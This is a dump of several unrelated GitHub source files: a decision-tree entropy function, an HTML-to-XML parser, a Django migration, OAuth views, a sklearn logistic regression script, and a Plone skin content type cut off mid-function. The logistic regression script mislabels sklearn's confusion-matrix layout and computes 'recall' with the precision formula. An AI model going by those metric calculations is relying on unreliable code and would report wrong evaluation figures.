melons_num * (\r\n -p0_big * math.log(p0_big, 2))\r\n else:\r\n entropy_big = 0\r\n entropy_gain = Entropy(melons) + entropy_small + entropy_big\r\n\r\n # 触感特征只有两种情况\r\n elif charac == 5:\r\n class0_melons = []\r\n class1_melons = []\r\n class_melons = [[], []]\r\n for i in range(melons_num):\r\n if melons[i][5] == 0:\r\n class0_melons.append(melons[i][7])\r\n else:\r\n class1_melons.append(melons[i][7])\r\n class_melons[0] = class0_melons\r\n class_melons[1] = class1_melons\r\n #print(class_melons)\r\n\r\n for i in range(2):\r\n class0_num = 0\r\n class1_num = 0\r\n total_num = len(class_melons[i])\r\n for j in range(total_num):\r\n if class_melons[i][j] == 0:\r\n class0_num = class0_num + 1\r\n else:\r\n class1_num = class1_num + 1\r\n p_class0 = class0_num / total_num\r\n p_class1 = class1_num / total_num\r\n if p_class0 != 0 and p_class1 != 0: # 防止log0的报错\r\n entropy_class = -p_class0 * math.log(p_class0, 2) - p_class1 * math.log(p_class1, 2)\r\n elif p_class0 == 0 and p_class1 != 0:\r\n entropy_class = - p_class1 * math.log(p_class1, 2)\r\n else:\r\n entropy_class = -p_class0 * math.log(p_class0, 2)\r\n charac_entropy = charac_entropy - total_num / melons_num * entropy_class\r\n entropy_gain = Entropy(melons) + charac_entropy\r\n\r\n # 其他特征有三种情况\r\n else:\r\n class0_melons = []\r\n class1_melons = []\r\n class2_melons = []\r\n class_melons = [[], [], []]\r\n for i in range(melons_num):\r\n if melons[i][charac] == 0:\r\n class0_melons.append(melons[i][7])\r\n elif melons[i][charac] == 1:\r\n class1_melons.append(melons[i][7])\r\n else:\r\n class2_melons.append(melons[i][7])\r\n class_melons[0] = class0_melons\r\n class_melons[1] = class1_melons\r\n class_melons[2] = class2_melons\r\n #print(class_melons)\r\n\r\n for i in range(3):\r\n class0_num = 0\r\n class1_num = 0\r\n total_num = len(class_melons[i])\r\n\r\n # 避免除零报错\r\n if total_num != 0:\r\n for j in range(total_num):\r\n if class_melons[i][j] == 0:\r\n class0_num = class0_num + 1\r\n else:\r\n class1_num = class1_num + 1\r\n p_class0 = class0_num / total_num\r\n p_class1 = class1_num / total_num\r\n if p_class0 != 0 and p_class1 != 0: # 防止log0的报错\r\n entropy_class = -p_class0 * math.log(p_class0, 2) - p_class1 * math.log(p_class1, 2)\r\n elif p_class0 == 0 and p_class1 != 0:\r\n entropy_class = - p_class1 * math.log(p_class1, 2)\r\n else:\r\n entropy_class = -p_class0 * math.log(p_class0, 2)\r\n charac_entropy = charac_entropy - total_num / melons_num * entropy_class\r\n entropy_gain = Entropy(melons) + charac_entropy\r\n else:\r\n entropy_gain = 0\r\n return [entropy_gain, charac]\r\n\r\n# 输出:[信息增益,第几个特征]\r\ndef select_best_feature(melons, features):\r\n best_feature = 0\r\n max_entropy = Entropy_Gain(melons, features[0])\r\n for i in range(len(features)):\r\n entropy = Entropy_Gain(melons, features[i])\r\n if entropy[0] > max_entropy[0]:\r\n max_entropy = entropy\r\n return max_entropy\r\n","repo_name":"yuwxyun275/SCG-TransNet","sub_path":"SCG-TransNet/Divide_Select.py","file_name":"Divide_Select.py","file_ext":"py","file_size_in_byte":7909,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"2716679899","text":"################ FAST START ################\n\n\"\"\"\nreq = urllib2.Request('http://www.ptc.com/')\nres = urllib2.urlopen(req)\nxdom = xml.dom.minidom.parse (html2xml.Parser (res.read(), feed_unicode = True))\nres.close ()\nprint(re.sub ( \"(\\n\\s*)+\\n\", \"\\n\", xdom.toprettyxml(\" \").encode ( \"utf-8\" ) ))\n\"\"\"\n\n################ FULL DETAILS ##############\n\n\n# Initial implementation might look like that:\n\n# import html2xml\n#\n# def my_log(self,cls,lineno,msg) :\n# raise RuntimeError(\"[%s:%d] %s\" % (cls,lineno,msg))\n# html2xml.Parser.log = my_log\n#\n# html_parser = html2xml.Parser (\n# open ( \"ign.html\"),\n# feed_unicode = True,\n# dbg_file_xml = \"/tmp/debug_in.xml\",\n# dbg_file_html = \"/tmp/debughtml.txt\" )\n#\n# xdom = xml.dom.minidom.parse ( html_parser )\n# dbg_out = open ( \"/tmp/debug_out.xml\", \"w\" )\n# dbg_out.write ( re.sub ( \"(\\n\\s*)+\\n\", \"\\n\", xdom.toprettyxml(\" \").encode ( \"utf-8\" ) ) )\n# dbg_out.write ( \"\"\"\n# \n# \n# \n# \"\"\" )\n#\n# Update[June 2020]: In Python 3, all strings are Unicode.\n# Therefore, feed_unicode is no longer supported.\n#\n# Note on Unicode[January, 2013]: there is a wide-spread confusion in\n# Python 2.X regarding which library functions can work with raw data,\n# Unicode, or both. There are many such examples, but HTMLParser could\n# be the best one, yet. For nearly 8 years (!) I have been using it in\n# 'raw' mode, and only now encountered a use case where it fails to\n# properly process raw 8-bit data: namely, when TAG attribute has some\n# non-ASCII characters AND entities (such as " or any other). In\n# this case apparently HTMLParser invokes function self.unescape(),\n# which is not 8-bit safe. When same data is passed as Unicode, it seems\n# to work fine.\n#\n# Therefore, for now I am adding an argument feed_unicode which defaults\n# to False (compatibility mode). New implementation should use True; we\n# may switch default value to True , but we need to make sure it does\n# not bring more problems.\n#\n# 1. When you get unicode exception, check encoding of your input and if warranted\n# pass argument enc_in = \"XXXX\" to html2xml.Parser\n# 2. If my_log raises exceptions, review HTML input, and if everything\n# as it should be, add filter to my_log or remove this function completely\n# 3. If HTML parser fails or generated XML is bad, created derived class\n# and override fixhtmlline()\n# 4. If XML parser generated errors, run xml.dom.minidom.parse(\"/tmp/debug_in.xml\")\n# in separate python session, review errors and trace them nack to original HTML\n# 5. When working with XML DOM, refer to /tmp/debug_out.xml\n# 6. When everything works, remove/comment out last 2 args to html2xml.Parser() and dbg_out block\n#\n# *** IMPORTANT NOTE REGARDING EMBEDDED SCRIPTS ***\n#\n# Properly parsing HTML files with embedded (Java)scripts is often\n# challenging, especially so as these scripts often try to alter HTML\n# code and so contain some row HTML text which confuses the parser.\n#\n# The parser as implemented here does not attempt to solve this problem\n# for you; it has an option to disregard any content of \"SCRIPT\" tag\n# (which is a default behaviour) or turn it into CDATA, but if python's\n# HTMLParser chokes on your script content, there is nothing we can do\n# to help.\n#\n# However, we provide a helper function Parser.normalize_scripts() which\n# you can use on application side to address the problem. There are\n# three ways it can be done.\n#\n# 1. If you don't need content of \", re.I | re.S)\nrecontent = re.compile(r'^$', re.S)\nreendtag = re.compile(r'', re.I)\nretagname = re.compile(r'^[a-z0-9_0]+$', re.I)\n\nAUTO_CLOSE_TAG_LIST = [\"link\", \"meta\", \"input\", \"img\", \"br\", \"area\", \"hr\"]\n\nclass Parser(html.parser.HTMLParser) :\n # implementing push => pull gateway\n def __init__ (self, reader_in,\n dbg_file_xml=None, dbg_file_html=None, wrappertag=None,\n dbg_file_structure=None\n # enc_in = \"utf-8\",\n # feed_unicode = False # for compatibility; use True in new code\n # # see comment above\n ) :\n html.parser.HTMLParser.__init__ (self)\n self.stack = []\n\n if isinstance(reader_in, str) :\n self.reader = StringIO(reader_in)\n # if type(reader_in) == type(\"\") :\n # self.reader = StringIO(reader_in.encode(\"utf-8\"))\n # elif type(reader_in) == type(\"\") :\n # self.reader = StringIO(reader_in)\n else :\n self.reader = reader_in\n\n self.buffer = []\n self.tbuffer = 0\n self.eof = False\n self.dbgxmlout = None\n self.dbglineno = 0\n # self.feed_unicode = feed_unicode\n if dbg_file_xml is not None :\n self.dbgxmlout = open ( dbg_file_xml, \"w\" )\n self.dbghtmlout = None\n if dbg_file_html is not None :\n self.dbghtmlout = open ( dbg_file_html, \"w\" )\n self.dbgstructout = None\n if dbg_file_structure is not None :\n self.dbgstructout = open ( dbg_file_structure, \"w\" )\n self.dbgstructout.write(\";;; -*- tab-width: 3 -*-\\n\")\n\n self.enc_out = \"utf-8\"\n # self.enc_in = enc_in\n self.dbg_enc_out = self.enc_out\n\n self.old_xhtml = htmlbuilder.set_xhtml(True)\n\n # these are auto-closed on another tag like that or any closure \n self.p_like_tags = [ 'p', 'li' ]\n self.skip_comments = True\n self.skip_scripts = True\n\n# self._write ( '\\n' )\n self._write ( '\\n' )\n self.wrappertag = wrappertag\n if self.wrappertag is not None :\n self._write(\"<%s>\" % self.wrappertag)\n\n self.script_content = []\n\n# self.CDATA_CONTENT_ELEMENTS = []\n\n# self.dbg_count = 0\n\n # to be overriden if need to fix HTML markup\n def fixhtmlline (self, line) :\n return line\n\n # to be overriden to print custom messages or raise exception\n def log(self,cls,lineno,msg) :\n pass\n\n def _log(self,cls,msg) :\n self.log (cls,self.dbglineno,msg)\n\n def _fatal(self, cls, msg) :\n raise RuntimeError(\"[%s:%d] %s\" % (\"FATAL:\" + cls,self.dbglineno,msg))\n\n def pull(self):\n if self.eof: return\n line = self.reader.readline()\n self.dbglineno += 1\n if not line:\n self.eof = True\n self.reader.close()\n self.close()\n if self.dbghtmlout : self.dbghtmlout.close ()\n if self.dbgstructout: self.dbgstructout.close()\n if self.wrappertag is not None :\n self._write(\"\" % self.wrappertag)\n return\n\n line = self.fixhtmlline(line)\n\n # if self.feed_unicode :\n # try :\n # uline = str(line, self.enc_in)\n # except UnicodeDecodeError as err :\n # self._fatal(\"ENCODING\", \"encoding: %r, err: %r\" % (self.enc_in, err))\n # self.feed (uline)\n # else :\n # self.feed (line)\n\n self.feed (line)\n\n # try :\n # self.feed ( unicode(line, self.enc_in) )\n # except Exception, err :\n # self._fatal (\"HTMLERROR\", \"feed(%r): %s\" % (line,err) )\n\n def read ( self, req = None ) :\n res = []\n tres = 0\n\n while not self.eof and (req is None or self.tbuffer < req) :\n self.pull ()\n\n if req is None :\n req = self.tbuffer + 1\n\n while tres < req and self.buffer:\n f = self.buffer[0]\n if tres + len(f) <= req :\n res.append(self.buffer.pop(0))\n self.tbuffer -= len(f)\n tres += len(f)\n else:\n res.append(f[0:(req - tres)])\n self.buffer[0] = f[(req - tres):]\n self.tbuffer -= req - tres\n tres = req # tres += req - tres\n\n if not res or not res[0]: return \"\"\n\n if self.dbgxmlout:\n self.dbgxmlout.write(\"\".join(res))\n if self.eof and tres < req:\n self.dbgxmlout.write(\"\"\"\n\n\n\n\"\"\" % self.dbg_enc_out)\n self.dbgxmlout.close()\n\n# logging.info (repr(res))\n# self.dbg_count += 1\n# logging.info (\"dbg_count = %d\" % self.dbg_count)\n# logging.info (repr(\"\".join ( res )[:200]))\n\n# jj = 685\n# logging.info(\"res[%d] = %r\" % (jj,res[jj]))\n# for ii in range(len(res)) :\n# x = \"\".join(res[:ii])\n# logging.info(\"ii = %d (out of %d) OK\" % (ii, len(res)))\n return \"\".join ( res ).encode ( self.enc_out )\n\n def _write(self, s):\n self.buffer.append(s)\n self.tbuffer += len(s)\n\n def handle_startendtag(self, tag, attrs):\n if self.dbgstructout:\n self.dbgstructout.write(\"\\t\" * len(self.stack) + \"<%s/> %d\\n\" % (tag, self.dbglineno))\n self.handle_starttag(tag, attrs, True)\n\n def handle_starttag(self, tag, attrs, closes=False):\n if not retagname.match(tag):\n self._log(\"ERR:BADTAGNAME\", \"Tag '%s' is invalid\" % tag)\n return\n if not closes and self.dbgstructout :\n self.dbgstructout.write (\"\\t\" * len(self.stack) + \"<%s> %d\\n\" % (tag, self.dbglineno))\n\n if self.dbghtmlout:\n self.dbghtmlout.write(\"<\" + tag + \">\\n\")\n\n if tag in self.p_like_tags and tag in self.stack :\n self._log(\"ERR:AUTOCLOSURE\",\n \"Tag '%s' was auto-closed upon encountering another <%s>\" % (tag,tag) )\n self.handle_endtag(tag)\n\n if tag in AUTO_CLOSE_TAG_LIST:\n closes = True\n # level = len(self.stack)\n if not closes:\n self.stack += [tag]\n\n d_a = {}\n for p, v in attrs:\n # I haven't got a clue where this possibly comes from\n if p in (\"`\", '\"') or '0' <= p[0] <= '9':\n continue\n\n d_a[p] = v\n # if type(v) == type(\"\") :\n # d_a[p] = str(v,self.enc_in) # unicode(v,\"windows-1255\")\n # else :\n # d_a[p] = v\n\n if closes:\n d_a['__NOENDTAG__'] = True\n if tag.lower() == \"html\":\n d_a['xmlns'] = \"http://www.w3.org/1999/xhtml\"\n elif self.dbgxmlout: d_a['lineno'] = self.dbglineno\n\n if tag.lower() == \"meta\" and \\\n \"http-equiv\" in [x.lower() for x in list(d_a.keys())] and \\\n d_a[[x for x in list(d_a.keys()) if x.lower() == \"http-equiv\"][0]].lower() == \"content-type\":\n d_a[[x for x in list(d_a.keys()) if x.lower() == \"content\"][0]] = \\\n \"text/html; charset=%s\" % self.enc_out\n\n# self._write (\" \"*level + TAG ( tag, 0, ** d_a ) + \"\\n\")\n self._write (htmlbuilder.TAG(tag, 0, ** d_a))\n\n def handle_endtag(self, tag):\n if not retagname.match(tag):\n self._log(\"ERR:BADTAGNAME\", \"Tag '%s' is invalid\" % tag)\n return\n\n if self.dbgstructout:\n self.dbgstructout.write(\"\\t\" * (len(self.stack) - 1) + \" %d\\n\"\n % (tag, self.dbglineno))\n\n # Fixing problem#1: attempt to close never opened tag\n if tag not in self.stack :\n self._log (\"ERR:NOTOPENED\", \"Tag '%s' was never opened\" % tag )\n return\n\n if tag == \"script\" and self.script_content :\n# self._write ( \"\" )\n self._write ( \"\" )\n self.script_content = []\n\n\n # fixing problem #4: have to close all unclosed tags\n iter = 0\n while True:\n iter += 1\n st_tag = self.stack.pop ()\n# self._write (\" \"*len(self.stack) + \"\" + \"\\n\")\n# if self.dbgxmlout : self._write ( \"\" %\n# (self.dbglineno, iter, tag, st_tag) )\n self._write ( \"\" )\n if tag == st_tag :\n break\n elif st_tag in self.p_like_tags :\n self._log (\"ERR:AUTOCLOSURE\",\n \"'P-like' Tag '%s' was auto-closed upon encountering ''\" % (st_tag,tag) )\n else :\n self._log (\"ERR:NOTCLOSEDINT\", \"Closing tag %s before processing close tag %s\" %\n (st_tag, tag))\n\n def handle_data ( self, data ) :\n # E.g. blank line in the beginning of the file\n if self.dbghtmlout :\n #self.dbghtmlout.write ( data.encode ( self.enc_in ) + \"\\n\" )\n self.dbghtmlout.write ( data + \"\\n\" )\n\n if self.stack and self.stack[-1] == \"script\":\n if not self.skip_scripts :\n self.script_content.append(data)\n else :\n self._write (htmlbuilder.htmlspecialchars(data))\n # if type(data) == type(\"\") :\n # self._write (htmlbuilder.htmlspecialchars(data))\n # else :\n # self._write (str ( htmlbuilder.htmlspecialchars(data), self.enc_in ))\n\n def handle_charref (self, num) :\n if num[0] == 'x' :\n val = int(num[1:], 16)\n else :\n val = int(num)\n\n # http://www.w3.org/TR/REC-xml/#charsets\n # #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] | [#x10000-#x10FFFF]\n\n ok = val == 0x9 or\\\n val == 0xA or\\\n val == 0xD or\\\n 0x20 <= val <= 0xD7FF or\\\n 0xE000 <= val <= 0xFFFD or\\\n 0x10000 <= val <= 0x10FFFF\n\n if ok :\n self._write ( \"&#\" + num + \";\" )\n if self.dbghtmlout :\n self.dbghtmlout.write ( \"&#\" + num + \";\" + \"\\n\" )\n else :\n self._write ( \"&#\" + \"xFFFD\" + \";\" )\n if self.dbghtmlout :\n self.dbghtmlout.write ( \"&#\" + num + \";\" + \" [invalid]\\n\" )\n\n\n def handle_entityref (self, name) :\n self._write ( \"&\" + name + \";\" )\n if self.dbghtmlout :\n self.dbghtmlout.write ( \"&\" + name + \";\" + \"\\n\" )\n\n def handle_comment(self,data) :\n if not self.skip_comments :\n self._write ( \"\" )\n\n def handle_decl(self,decl) :\n# \n if self.dbghtmlout :\n self.dbghtmlout.write ( decl + \"\\n\" )\n return\n self._write ( decl )\n\n def handle_pi (self, pi ) :\n pass\n\n def close (self) :\n if ( self.stack != [] ) :\n self._log ( \"ERR:NOTCLOSEDEND\",\n \"Input exhausted, but %d tag(s) remain to be closed: [%s]\" %\n (len(self.stack), \";\".join(self.stack)) )\n for ii in range(len(self.stack)-1,-1,-1) :\n self.handle_endtag ( self.stack[ii] )\n\n htmlbuilder.set_xhtml(self.old_xhtml)\n\n\n NORM_WITH_COMMENTS = \"NORM_WITH_COMMENTS\"\n NORM_SPLIT_ENDTAGS = \"NORM_SPLIT_ENDTAGS\"\n NORM_REMOVE = \"NORM_REMOVE\"\n\n @staticmethod\n def normalize_scripts(html_in, method) :\n \"\"\"This is an auxiliary utility to \"normalize\" ?\", re.I | re.S).sub('',html_in)\n\n Current solution however allows to *preserve* scripts in case they are needed.\n\n 2. Since HTML parser sees \"normalized\" scripts as HTML comments, in order to\n preserve them it is necessary to set self.skip_comments to False\n (True by default)\n\n 3. In order to use this utility, one must retrieve *complete* input stream,\n transform it and then pass to parser.\n \"\"\"\n\n assert method in [Parser.NORM_WITH_COMMENTS,\n Parser.NORM_SPLIT_ENDTAGS,\n Parser.NORM_REMOVE]\n\n def script_replace(m):\n if method == Parser.NORM_REMOVE:\n return \"\"\n\n pars = m.group(1)\n if pars: pars = \" \" + pars\n content = m.group(2)\n\n if method == Parser.NORM_SPLIT_ENDTAGS:\n if content == \"\" or not reendtag.search(content):\n return m.group(0)\n content = reendtag.sub(r\"<' + '/\\1>\", content)\n return '%s' % (pars, content)\n\n elif method == Parser.NORM_WITH_COMMENTS:\n if content == \"\" or recontent.match(content):\n return m.group(0)\n content = content.replace(' -->', ' ==>').replace('\\n' % (pars, content)\n\n# return \"\\n\" % (pars, content)\n# return '\\n\\n' % (content,)\n# return \"\"\n# return '\\n\\n' % (pars, content)\n\n return rescript.sub(script_replace, html_in)\n","repo_name":"kign/pkg-inetlab","sub_path":"src/inetlab/html/html2xml.py","file_name":"html2xml.py","file_ext":"py","file_size_in_byte":19182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"3878267448","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Excuse',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=255)),\n ('excuse_copy', models.TextField()),\n ],\n options={\n 'verbose_name': 'Excuse',\n 'verbose_name_plural': 'Excuses',\n },\n ),\n migrations.CreateModel(\n name='ExcuseType',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('label', models.CharField(max_length=255)),\n ],\n options={\n 'verbose_name': 'Excuse Type',\n 'verbose_name_plural': 'Excuse Types',\n },\n ),\n migrations.CreateModel(\n name='Home',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ],\n options={\n 'verbose_name': 'Home Page',\n 'verbose_name_plural': 'Home Page',\n },\n ),\n ]\n","repo_name":"rfabes21/excusinator","sub_path":"project/apps/excusinator/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74754633329","text":"\"\"\"\n使用python实现logistic回归\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix, accuracy_score\n\n# 装载数据\ndataset = pd.read_csv('data/User_Data.csv')\n# 开始去预测一个用户是否购买商品,我们需要去发现年龄和评估的价格之间的关系。其中用户ID和性别对于发现商品不是重要的因素。\n# 划分数据、标签,转化成数组\nx = dataset.iloc[:, [2, 3]].values # 数据400*2,400个数据,每个数据两个特征\ny = dataset.iloc[:, 4].values # 标签400\n# 将数据划分成训练集和测试集,划分比例0.75,\ntrain_x, test_x, train_y, test_y = train_test_split(x, y, train_size=0.75, random_state=0)\n# 数据特征进行缩放,因为age和salary值位于不同的数值范围内。若不对其进行缩放,那么当模型找到数据空间中数据点的最近邻点时,\n# salary特征会主导age特征\nsc_x = StandardScaler()\ntrain_x = sc_x.fit_transform(train_x)\ntest_x = sc_x.transform(test_x) # 选用另一种缩放方法是为了使得训练集和测试集的数据不同\n# 训练Logistic回归模型\nclassifier = LogisticRegression(random_state=0)\nclassifier.fit(train_x, train_y) # 训练(拟合)模型\n# 对于训练后的模型进行预测\ny_pred = classifier.predict(test_x)\n# 使用混淆矩阵(误差矩阵)对预测的结果进行性能度量\ncm = confusion_matrix(test_y, y_pred)\nprint(\"confusion_matrix:\\n{}\".format(np.matrix([['True Positive', 'False Positive'], ['False Negative', 'True Negative']])))\nprint(cm)\nprint('Precision:{}={}'.format('TP/(TP+FP)', cm[0][0]/(cm[0][0]+cm[0][1])))\nprint('Recall:{}={}'.format('TP/(TP+FN)', cm[0][0]/(cm[0][0]+cm[0][1])))\n# 进行准确率的估计\nacc = accuracy_score(test_y, y_pred)\nprint('Accuracy:{}'.format(acc))\n\n# 可视化\n\n\n","repo_name":"xiaonanQua/python_project","sub_path":"tensorflow_learn/machine_learning/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"13383323354","text":"import logging\nfrom django.http import HttpRequest, JsonResponse\nfrom django.views.decorators.http import require_http_methods\nfrom django.conf import settings\nfrom django.shortcuts import redirect\nfrom requests_oauthlib import OAuth2Session\n\n\nlogger = logging.getLogger(__name__)\n\n\n@require_http_methods([\"GET\"])\ndef redirect_to_login(request: HttpRequest):\n redirect_url = settings.OAUTH_REDIRECT_URL\n scope = \"openid \" + request.GET.get(\"required_scope\", \"\")\n state = request.GET.get(\"prev_path\")\n oauth_session = OAuth2Session(settings.OAUTH_CLIENT_ID, state=state, redirect_uri=redirect_url, scope=scope.strip())\n authorization_url, state = oauth_session.authorization_url(settings.OAUTH_URL)\n return redirect(authorization_url)\n\n\n@require_http_methods([\"GET\"])\ndef auth_callback(request: HttpRequest):\n redirect_url = settings.OAUTH_REDIRECT_URL\n token_url = settings.OAUTH_TOKEN_URL\n client_secret = settings.OAUTH_CLIENT_SECRET\n redirected_from = request.GET.get(\"state\")\n oauth_session = OAuth2Session(settings.OAUTH_CLIENT_ID, state=redirected_from, redirect_uri=redirect_url)\n\n token_info = oauth_session.fetch_token(\n token_url,\n client_secret=client_secret,\n authorization_response=request.build_absolute_uri(),\n include_client_id=True,\n )\n request.session[\"access_token\"] = token_info[\"access_token\"]\n request.session.set_expiry(10)\n\n # redirect to origin page\n # return redirect(redirected_from)\n return JsonResponse({\"status\": \"authorized\", \"redirected_from\": redirected_from})\n","repo_name":"nickmetal/uber-papug-ates","sub_path":"account_service/account_service/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73150783728","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\ncontent-type used as Skin\nTODO :\n- import csv files to set skin data\n\"\"\"\n\n# Python imports\nimport os\nimport string\nimport unicodedata\nimport re\nfrom zipfile import ZipFile\nimport tarfile\n\n# Zope imports\nfrom Acquisition import aq_base\nfrom zope.interface import implements\nfrom AccessControl import ClassSecurityInfo\nfrom ComputedAttribute import ComputedAttribute\n\n# CMF imports\nfrom Products.CMFCore import permissions as CCP\nfrom Products.CMFCore.exceptions import BadRequest\nfrom Products.CMFPlone.utils import getToolByName\n\nfrom plone.app.layout.navigation.interfaces import INavigationRoot\nfrom Products.Archetypes.public import *\n\n# Products imports\nfrom Products.ATContentTypes.content.base import ATCTOrderedFolder\nfrom Products.ATContentTypes.content.schemata import ATContentTypeSchema\nfrom Products.ATContentTypes.content.schemata import NextPreviousAwareSchema\nfrom Products.ATContentTypes.lib.constraintypes import ConstrainTypesMixinSchema\n\n\nfrom collective.phantasy.atphantasy.interfaces import IPhantasySkin\nfrom phantasyschema import PhantasyFieldsSchema, finalizePhantasySchema\nfrom collective.phantasy.config import PROJECTNAME\nfrom collective.phantasy import phantasyMessageFactory as _\n\n\nIMAGE_UPLOAD_TYPE = \"PhantasySkinImage\"\nFILE_UPLOAD_TYPE = \"PhantasySkinFile\"\nIMAGES_EXTENSIONS = (\".jpg\",\".gif\",\".jpeg\",\".png\")\n\nStandardFolderSchema = ATContentTypeSchema.copy() + ConstrainTypesMixinSchema + NextPreviousAwareSchema\n\nPhantasySkinSchema = StandardFolderSchema + PhantasyFieldsSchema.copy()\n\nPhantasySkinSchema = finalizePhantasySchema(PhantasySkinSchema)\n\n\nclass PhantasySkin(ATCTOrderedFolder):\n \"\"\"Phantasy Skin folder\"\"\"\n\n portal_type = meta_type = 'PhantasySkin'\n archetype_name = 'Phantasy Skin'\n global_allow = True\n filter_content_types = True\n allowed_content_types = ('PhantasySkinImage','PhantasySkinFile',)\n schema = PhantasySkinSchema\n implements(IPhantasySkin)\n\n\n security = ClassSecurityInfo()\n\n security.declareProtected(CCP.View, 'getNextPreviousParentValue')\n def getNextPreviousParentValue(self):\n \"\"\"\n \"\"\"\n parent = self.getParentNode()\n from Products.ATContentTypes.interface.folder import IATFolder as IATFolder_\n if IATFolder_.providedBy(parent):\n return parent.getNextPreviousEnabled()\n else:\n return False\n\n def manage_afterAdd(self, item, container):\n ATCTOrderedFolder.manage_afterAdd(self, item, container)\n\n security.declarePrivate('initializeArchetype')\n def initializeArchetype(self, **kwargs):\n ATCTOrderedFolder.initializeArchetype(self, **kwargs)\n # we do not want Language attributes for skin\n self.setLanguage('')\n # initialize standard plone properties in skin (all these properties are required)\n for fieldName in self.Schema().keys() :\n field = self.getField(fieldName)\n value = self.getDefaultValueForField(fieldName)\n if value :\n field.set(self, value, **kwargs)\n\n security.declarePrivate('getDefaultValueForField')\n def getDefaultValueForField (self, fieldName):\n \"\"\"values for plone skin properties\n return a Plone css base property value if this property exists\n \"\"\"\n ploneCssProperties = self.getPloneCssProperties()\n if ploneCssProperties.has_key(fieldName) :\n return ploneCssProperties[fieldName]\n\n security.declareProtected(CCP.View, 'getPloneCssProperties')\n def getPloneCssProperties(self) :\n \"\"\"\n return static css properties based on actual plone theme\n \"\"\"\n\n dict_properties = {}\n bp = self.base_properties\n bpdict = bp.propdict()\n for k,v in bpdict.items() :\n if bp.hasProperty(k):\n dict_properties[k] = bp.getProperty(k)\n\n return dict_properties\n\n security.declarePrivate('extractZipFile')\n def extractZipFile(self, zipFile):\n \"\"\"\n Extract file in a zip\n \"\"\"\n zip = ZipFile(zipFile,\"r\",8)\n file_list = {}\n type_list = {}\n for filename in zip.namelist():\n path,newfilename = os.path.split(filename)\n name, ext = os.path.splitext(filename)\n ext = string.lower(ext)\n data = zip.read(filename)\n if(len(data)):\n file_list[newfilename] = data\n if ext in IMAGES_EXTENSIONS :\n type_list[newfilename] = 'image'\n elif ext == '.ico':\n type_list[newfilename] = 'icon'\n elif ext=='.css' :\n type_list[newfilename] = 'cssfile'\n elif ext=='.js' :\n type_list[newfilename] = 'jsfile'\n else :\n type_list[newfilename] = 'file'\n return file_list, type_list\n\n security.declarePrivate('extractTarFile')\n def extractTarFile(self, tarFile, ext):\n \"\"\"\n Extract file in a tar\n \"\"\"\n file_list = {}\n type_list = {}\n if(ext == '.tar'):\n tar = tarfile.open(mode=\"r|\",fileobj=tarFile)\n elif(ext == '.gz'):\n tar = tarfile.open(mode=\"r|gz\",fileobj=tarFile)\n elif(ext == '.bz2'):\n tar = tarfile.open(mode=\"r|bz2\",fileobj=tarFile)\n for filename in tar:\n path,newfilename = os.path.split(filename.name)\n name, ext = os.path.splitext(filename.name)\n ext = string.lower(ext)\n if filename.isfile() :\n data = tar.extractfile(filename)\n file_list[newfilename] = data.read()\n if ext in IMAGES_EXTENSIONS :\n type_list[newfilename] = 'image'\n elif ext=='.css' :\n type_list[newfilename] = 'cssfile'\n elif ext=='.js' :\n type_list[newfilename] = 'jsfile'\n else :\n type_list[newfilename] = 'file'\n return file_list, type_list\n\n security.declarePublic('createValidId')\n def createValidId(self, s):\n \"\"\"\n Return a valid Zope id from the given string\n We do not use plone normalizer because\n we accept '_' in ids to overload skin images\n \"\"\"\n\n try:\n id = s.decode('utf-8')\n id = unicodedata.normalize('NFKD', id)\n id = id.encode('ascii', 'ignore')\n sDecoded = True\n except:\n id=s\n sDecoded = False\n\n new_id = ''\n if sDecoded :\n for a in id:\n if a in string.digits or a in string.lowercase or a in string.uppercase or a=='.' or a==' ' or a=='-' or a=='_':\n new_id += a\n else :\n for a in id:\n if a.lower() in 'abcdefghijklmnopqrstuvwxyz0123456789. -_':\n new_id += a\n\n new_id = new_id.replace(' ','-')\n new_id = re.sub(\"-+\",\"-\", new_id)\n new_id = new_id.strip('_').lower()\n i=0\n incId = new_id\n while incId in self.objectIds():\n i+=1\n incId = str(i) + new_id\n\n return incId\n\n security.declareProtected(CCP.ModifyPortalContent, 'importImagesAndFiles')\n def importImagesAndFiles(self, zipFile, REQUEST=None):\n \"\"\"\n Import images from a zipFile\n \"\"\"\n putils = getToolByName(self, 'plone_utils')\n name, ext = os.path.splitext(zipFile.filename)\n ext = string.lower(ext)\n if(ext == '.zip'):\n filesAndTypesList = self.extractZipFile(zipFile)\n filesList = filesAndTypesList[0]\n typesList = filesAndTypesList[1]\n elif(ext in ['.tar','.gz','.bz2']):\n filesAndTypesList = self.extractTarFile(zipFile, ext)\n filesList = filesAndTypesList[0]\n typesList = filesAndTypesList[1]\n else:\n msg = \"Error: wrong extention! File must be zip, tar, gz or bz2\"\n putils.addPortalMessage(msg)\n if(REQUEST):\n REQUEST.RESPONSE.redirect(\"%s/phantasyskin_import\" %self.absolute_url())\n\n return msg\n\n for key in filesList:\n data = str(filesList[key])\n 